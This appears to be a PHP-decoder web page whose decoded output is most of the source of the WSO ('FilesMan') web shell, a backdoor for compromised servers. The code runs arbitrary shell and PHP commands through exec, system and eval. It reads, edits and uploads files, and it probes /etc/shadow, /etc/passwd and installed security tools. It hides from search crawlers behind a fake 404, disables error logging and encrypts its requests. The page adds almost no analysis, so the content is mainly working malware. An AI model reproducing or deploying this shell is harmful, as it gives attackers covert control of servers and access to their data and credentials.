Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* flamux script 3.3 php 7.0 compatible */''.$aqUHyqEDaM3HT9SpvgypUyknTMjF1EfoQuhJRx..

Decoded Output download

if (!isset($_POST['lynx'])) {

$ = ""; //admin
$ = true;
$ = 'UTF-8';
$ = 'FilesMan';
$ = md5($_SERVER['HTTP_USER_AGENT']);

function decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}
function prototype($k, $v) { $_COOKIE[$k] = $v;setcookie($k, $v);}

if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])) {
	prototype(md5($_SERVER['HTTP_HOST'])."key", $);
}
if(empty($_POST['charset']))
	$_POST['charset'] = $;
if (!isset($_POST['ne'])) {
	if(isset($_POST['a'])) $_POST['a'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['a'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
	if(isset($_POST['c'])) $_POST['c'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['c'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
	if(isset($_POST['p1'])) $_POST['p1'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p1'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
	if(isset($_POST['p2'])) $_POST['p2'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p2'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
	if(isset($_POST['p3'])) $_POST['p3'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p3'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
}
//function decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
if (PHP_VERSION_ID < 70000)
	@set_magic_quotes_runtime(0);
@define('VERSION', '4.2.5');
if(get_magic_quotes_gpc()) {
	function stripslashes_array($array) {
		return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
	}
	$_POST = stripslashes_array($_POST);
    $_COOKIE = stripslashes_array($_COOKIE);
}
/* () 11.2011 oRb */
if(!empty($)) {
    if(isset($_POST['pass']) && (md5($_POST['pass']) == $))
        prototype(md5($_SERVER['HTTP_HOST']), $);
    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $))
        hardLogin();
}
if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
    $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$;
function hardLogin() {
		if(!empty($_SERVER['HTTP_USER_AGENT'])) {
		  $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
		  if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
		  header('HTTP/1.0 404 Not Found');
		  exit;
		  }
		}
	die("<pre align=center><form method=post>Password<br><input type=password name=pass style='background-color:whitesmoke;border:1px solid #FFF;outline:none;' required><input type=submit name='watching' value='submit' style='border:none;background-color:#56AD15;color:#fff;cursor:pointer;'></form></pre>");
}
if(strtolower(substr(PHP_OS,0,3)) == "win")
	$os = 'win';
else
	$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
    error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
	@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
	$home_cwd = str_replace("\", "/", $home_cwd);
	$cwd = str_replace("\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
	$cwd .= '/';
/* () 04.2015 Pirat */
function hardHeader() {
	if(empty($_POST['charset']))
		$_POST['charset'] = $GLOBALS[''];
	echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . VERSION ."</title>
<style>
	body {background-color:#444; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}

	#particles-js{width: 100%; height: 100px; background-color: #060a10; background-image: url(''); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}
	body,td,th	{font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}
	table.info	{color: #fff;background-color: #222;}
	table#toolsTbl {background-color: #222;}
	span,h1,a	{color:#df5 !important;}
	span		{font-weight:bolder;}
	h1			{border-left:5px solid #2E6E9C;padding:2px 5px;font:14pt Verdana;background-color:#222;margin:0px;}
	div.content	{padding:5px;margin-left:5px;background-color:#060a10;}
	a			{text-decoration:none;}
	a:hover		{text-decoration:underline;}
	.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}
	.tooltip:hover::after {opacity:1;visibility:visible;}
	.ml1		{border:1px solid #202832;padding:5px;margin:0;overflow:auto;}
	.bigarea	{min-width:100%;max-width:100%;height:400px;}
	input, textarea, select	{margin:0;color:#fff;background-color:#202832;border:solid 1px #df5;font:9pt Courier New;outline:none;}
	label {position:relative}
	label:after {content:'<>';font:10px 'Consolas', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}
	label:before {content:'';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}
	form		{margin:0px;}
	#toolsTbl	{text-align:center;}
	#fak 		{background:none;}
	#fak td 	{padding:5px 0 0 0;}
	iframe		{border:1px solid #060a10;}
	.toolsInp	{width:300px}
    .main th{text-align:left;background-color:#5e5e5e;}
    .main tr:hover{background-color:#5e5e5e}
	input[type='submit']{background-color:#2E6E9C;}
	input[type='button']{background-color:#2E6E9C;}
	input[type='submit']:hover{background-color:#56AD15;}
	input[type='button']:hover{background-color:#56AD15;}
	.l2{background-color:#444}
    .l1{background-color:#333}
	pre			{font:9pt Courier New;}
</style>
<script>
    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
    var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
    var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
    var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
    var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
    var d = document;
	
	function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
	function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
	function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		d.mf.a.value = encrypt(d.mf.a.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		d.mf.c.value = encrypt(d.mf.c.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		d.mf.p1.value = encrypt(d.mf.p1.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		d.mf.p2.value = encrypt(d.mf.p2.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		d.mf.p3.value = encrypt(d.mf.p3.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = 'ajax=true';
		for(i=0;i<d.mf.elements.length;i++)
			params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
		sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
	}
	function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
            req.send(params);
        }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert('Request error!');
	}
</script>
<head><body><div style='position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
	$freeSpace = @diskfreespace($GLOBALS['cwd']);
	$totalSpace = @disk_total_space($GLOBALS['cwd']);
	$totalSpace = $totalSpace?$totalSpace:1;
	$release = @php_uname('r');
	$kernel = @php_uname('s');
	$explink = 'https://noreferer.de/?https://www.exploit-db.com/search/?action=search&description=';
	if(strpos('Linux', $kernel) !== false)
		$explink .= urlencode('Linux Kernel ' . substr($release,0,6));
	else
		$explink .= urlencode($kernel . ' ' . substr($release,0,3));
	if(!function_exists('posix_getegid')) {
		$user = @get_current_user();
		$uid = @getmyuid();
		$gid = @getmygid();
		$group = "?";
	} else {
		$uid = @posix_getpwuid(@posix_geteuid());
		$gid = @posix_getgrgid(@posix_getegid());
		$user = $uid['name'];
		$uid = $uid['uid'];
		$group = $gid['name'];
		$gid = $gid['gid'];
	}
	$cwd_links = '';
	$path = explode("/", $GLOBALS['cwd']);
	$n=count($path);
	for($i=0; $i<$n-1; $i++) {
		$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
		for($j=0; $j<=$i; $j++)
			$cwd_links .= $path[$j].'/';
		$cwd_links .= "\")'>".$path[$i]."/</a>";
	}
	$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
	$opt_charsets = '';
	foreach($charsets as $)
		$opt_charsets .= '<option value="'.$.'" '.($_POST['charset']==$?'selected':'').'>'.$.'</option>';
	$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Infect'=>'Infect','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
	if(!empty($GLOBALS['']))
	$m['Logout'] = 'Logout';
	$m['Self remove'] = 'SelfRemove';
	$menu = '';
	foreach($m as $k => $v)
		$menu .= '<th>[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
	$drives = "";
	if ($GLOBALS['os'] == 'win') {
		foreach(range('c','z') as $drive)
		if (is_dir($drive.':\'))
			$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
	}
	/* () 08.2015 dmkcv */
	echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
		 '<td><nobr>'.substr(@php_uname(), 0, 120).' <a href="https://noreferer.de/?https://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[ Google ]</a> <a href="'.$explink.'" target=_blank>[ Exploit-DB ]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( ' .$group. ' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#FFDB5F><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.round(100/($totalSpace/$freeSpace),2).'%)<br>'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
		 '<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">'.$opt_charsets.'</select></label><br><span>Server IP:</span><br>'.gethostbyname($_SERVER["HTTP_HOST"]).'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.
		 '<table style="background-color:#2E6E9C;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div>';
}
function hardFooter() {
	$is_writable = is_writable($GLOBALS['cwd'])?" <font color='#FFDB5F'>[ Writeable ]</font>":" <font color=red>(Not writable)</font>";
    echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>
	<tr>
		<td><form onsubmit=\"".( function_exists('actionFilesMan')? "g(null,this.c.value,'');":'' )."return false;\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='submit'></form></td>
		<td><form onsubmit=\"".(function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value);":'' )."return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>
	</tr><tr>
		<td><form onsubmit=\"".( function_exists('actionFilesMan')? "g('FilesMan',null,'mkdir',this.d.value);":'' )."return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d required><input type=submit value='submit'></form></td>
		<td><form onsubmit=\"".( function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value,'mkfile');":'' )."return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>
	</tr><tr>
		<td><form onsubmit=\"".( function_exists('actionConsole')? "g('Console',null,this.c.value);":'' )."return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='submit'></form></td>
		<td><form method='post' ".( (!function_exists('actionFilesMan'))? " onsubmit=\"return false;\" ":'' )."ENCTYPE='multipart/form-data'>
		<input type=hidden name=a value='FilesMan'>
		<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
		<input type=hidden name=p1 value='uploadFile'>
		<input type=hidden name=ne value=''>
		<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
		<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f[]  multiple><input type=submit value='submit'></form><br  ></td>
	</tr></table></div>
	<!-- particles --> <div id='particles-js'></div><script src='https://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js'></script>
	<script>particlesJS('particles-js', {'particles':{'number':{'value':80,'density':{'enable':true,'value_area':800}},'color':{'value':'#ffffff'},'shape':{'type':'triangle','stroke':{'width':0,'color':'#000000'},'polygon':{'nb_sides':5},'image':{'src':'img/github.svg','width':100,'height':100}},'opacity':{'value':0.5,'random':true,'anim':{'enable':false,'speed':1,'opacity_min':0.1,'sync':false}},'size':{'value':3,'random':true,'anim':{'enable':false,'speed':40,'size_min':0.1,'sync':false}},'line_linked':{'enable':true,'distance':200,'color':'#ffffff','opacity':0.4,'width':1},'move':{'enable':true,'speed':1,'direction':'none','random':true,'straight':false,'out_mode':'out','bounce':false,'attract':{'enable':false,'rotateX':10000,'rotateY':10000}}},'interactivity':{'detect_on':'canvas','events':{'onhover':{'enable':true,'mode':'grab'},'onclick':{'enable':true,'mode':'repulse'},'resize':true},'modes':{'grab':{'distance':200,'line_linked':{'opacity':0.5}},'bubble':{'particles_nb':2}}},'retina_detect':true});</script>
	</body></html>";
}
if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) { function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) { function posix_getgrgid($p) {return false;} }
function ex($in) {
	$ = '';
	if (function_exists('exec')) {
		@exec($in,$);
		$ = @join("
",$);
	} elseif (function_exists('passthru')) {
		ob_start();
		@passthru($in);
		$ = ob_get_clean();
	} elseif (function_exists('system')) {
		ob_start();
		@system($in);
		$ = ob_get_clean();
	} elseif (function_exists('shell_exec')) {
		$ = shell_exec($in);
	} elseif (is_resource($f = @popen($in,"r"))) {
		$ = "";
		while(!@feof($f))
			$ .= fread($f,1024);
		pclose($f);
	}else return " Unable to execute command
";
	return ($==''?" Query did not return anything
":$);
}
function viewSize($s) {
	if($s >= 1073741824)
		return sprintf('%1.2f', $s / 1073741824 ). ' GB';
	elseif($s >= 1048576)
		return sprintf('%1.2f', $s / 1048576 ) . ' MB';
	elseif($s >= 1024)
		return sprintf('%1.2f', $s / 1024 ) . ' KB';
	else
		return $s . ' B';
}
function perms($p) {
	if (($p & 0xC000) == 0xC000)$i = 's';
	elseif (($p & 0xA000) == 0xA000)$i = 'l';
	elseif (($p & 0x8000) == 0x8000)$i = '-';
	elseif (($p & 0x6000) == 0x6000)$i = 'b';
	elseif (($p & 0x4000) == 0x4000)$i = 'd';
	elseif (($p & 0x2000) == 0x2000)$i = 'c';
	elseif (($p & 0x1000) == 0x1000)$i = 'p';
	else $i = 'u';
	$i .= (($p & 0x0100) ? 'r' : '-');
	$i .= (($p & 0x0080) ? 'w' : '-');
	$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
	$i .= (($p & 0x0020) ? 'r' : '-');
	$i .= (($p & 0x0010) ? 'w' : '-');
	$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
	$i .= (($p & 0x0004) ? 'r' : '-');
	$i .= (($p & 0x0002) ? 'w' : '-');
	$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
	return $i;
}
function viewPermsColor($f) {
	if (!@is_readable($f))
		return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
	elseif (!@is_writable($f))
		return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
	else
		return '<font color=#FFDB5F><b>'.perms(@fileperms($f)).'</b></font>';
}
function hardScandir($dir) {
    if(function_exists("scandir")) {
        return scandir($dir);
    } else {
        $dh  = opendir($dir);
        while (false !== ($filename = readdir($dh)))
            $files[] = $filename;
        return $files;
    }
}
function which($p) {
	$path = ex('which ' . $p);
	if(!empty($path))
		return $path;
	return false;
}
function actionRC() {
	if(!@$_POST['p1']) {
		$a = array(
			"uname" => php_uname(),
			"php_version" => phpversion(),
			"VERSION" => VERSION,
			"safemode" => @ini_get('safe_mode')
		);
		echo serialize($a);
	} else {
		eval($_POST['p1']);
	}
}
//function prototype($k, $v) { $_COOKIE[$k] = $v;setcookie($k, $v);}
function actionSecInfo() {
	hardHeader();
	echo '<h1>Server security information</h1><div class=content>';
	function showSecParam($n, $v) {
		$v = trim($v);
		if($v) {
			echo '<span>' . $n . ': </span>';
			if(strpos($v, "
") === false)
				echo $v . '<br>';
			else
				echo '<pre class=ml1>' . $v . '</pre>';
		}
	}
	showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
    if(function_exists('apache_get_modules'))
        showSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
	showSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
	showSecParam('Open base dir', @ini_get('open_basedir'));
	showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
	showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
	showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
	$temp=array();
	if(function_exists('mysql_get_client_info'))
		$temp[] = "MySql (".mysql_get_client_info().")";
	if(function_exists('mssql_connect'))
		$temp[] = "MSSQL";
	if(function_exists('pg_connect'))
		$temp[] = "PostgreSQL";
	if(function_exists('oci_connect'))
		$temp[] = "Oracle";
	showSecParam('Supported databases', implode(', ', $temp));
	echo '<br>';
	if($GLOBALS['os'] == 'nix') {
            showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
            showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
            showSecParam('OS version', @file_get_contents('/proc/version'));
            showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
            if(!$GLOBALS['safe_mode']) {
                $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
                $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
                $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
                echo '<br>';
                $temp=array();
                foreach ($userful as $)
                    if(which($))
                        $temp[] = $;
                showSecParam('Userful', implode(', ',$temp));
                $temp=array();
                foreach ($danger as $)
                    if(which($))
                        $temp[] = $;
                showSecParam('Danger', implode(', ',$temp));
                $temp=array();
                foreach ($downloaders as $)
                    if(which($))
                        $temp[] = $;
                showSecParam('Downloaders', implode(', ',$temp));
                echo '<br/>';
                showSecParam('HDD space', ex('df -h'));
                showSecParam('Hosts', @file_get_contents('/etc/hosts'));
				showSecParam('Mount options', @file_get_contents('/etc/fstab'));
            }
	} else {
		showSecParam('OS Version',ex('ver'));
		showSecParam('Account Settings', iconv('CP866', 'UTF-8',ex('net accounts')));
		showSecParam('User Accounts', iconv('CP866', 'UTF-8',ex('net user')));
	}
	echo '</div>';
	hardFooter();
}
function actionFilesTools() {
	if( isset($_POST['p1']) )
		$_POST['p1'] = urldecode($_POST['p1']);
	if(@$_POST['p2']=='download') {
		if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
			ob_start("ob_gzhandler", 4096);
			header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
			if (function_exists("mime_content_type")) {
				$type = @mime_content_type($_POST['p1']);
				header("Content-Type: " . $type);
			} else
                header("Content-Type: application/octet-stream");
			$fp = @fopen($_POST['p1'], "r");
			if($fp) {
				while(!@feof($fp))
					echo @fread($fp, 1024);
				fclose($fp);
			}
		}exit;
	}
	if( @$_POST['p2'] == 'mkfile' ) {
		if(!file_exists($_POST['p1'])) {
			$fp = @fopen($_POST['p1'], 'w');
			if($fp) {
				$_POST['p2'] = "edit";
				fclose($fp);
			}
		}
	}
	hardHeader();
	echo '<h1>File tools</h1><div class=content>';
	if( !file_exists(@$_POST['p1']) ) {
		echo 'File not exists';
		hardFooter();
		return;
	}
	$uid = @posix_getpwuid(@fileowner($_POST['p1']));
	if(!$uid) {
		$uid['name'] = @fileowner($_POST['p1']);
		$gid['name'] = @filegroup($_POST['p1']);
	} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
	echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
	echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
	if( empty($_POST['p2']) )
		$_POST['p2'] = 'view';
	if( is_file($_POST['p1']) )
		$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch', 'Frame');
	else
		$m = array('Chmod', 'Rename', 'Touch');
	foreach($m as $v)
		echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
	echo '<br><br>';
	switch($_POST['p2']) {
		case 'view':
			echo '<pre class=ml1>';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '</pre>';
			break;
		case 'highlight':
			if( @is_readable($_POST['p1']) ) {
				echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
				$oRb = @highlight_file($_POST['p1'],true);
				echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$oRb).'</div>';
			}
			break;
		case 'chmod':
			if( !empty($_POST['p3']) ) {
				$perms = 0;
				for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
					$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
				if(!@chmod($_POST['p1'], $perms))
					echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
			}
			clearstatcache();
			echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value="submit"></form>';
			break;
		case 'edit':
			if( !is_writable($_POST['p1'])) {
				echo 'File isn\'t writeable';
				break;
			}
			if( !empty($_POST['p3']) ) {
				$time = @filemtime($_POST['p1']);
				$_POST['p3'] = substr($_POST['p3'],1);
				$fp = @fopen($_POST['p1'],"w");
				if($fp) {
					@fwrite($fp,$_POST['p3']);
					@fclose($fp);
					echo 'Saved!<br><script>p3_="";</script>';
					@touch($_POST['p1'],$time,$time);
				}
			}
			echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '</textarea><input type=submit value="submit"></form>';
			break;
		case 'hexdump':
			$c = @file_get_contents($_POST['p1']);
			$n = 0;
			$h = array('00000000<br>','','');
			$len = strlen($c);
			for ($i=0; $i<$len; ++$i) {
				$h[1] .= sprintf('%02X',ord($c[$i])).' ';
				switch ( ord($c[$i]) ) {
					case 0:  $h[2] .= ' '; break;
					case 9:  $h[2] .= ' '; break;
					case 10: $h[2] .= ' '; break;
					case 13: $h[2] .= ' '; break;
					default: $h[2] .= $c[$i]; break;
				}
				$n++;
				if ($n == 32) {
					$n = 0;
					if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
					$h[1] .= '<br>';
					$h[2] .= "
";
				}
		 	}
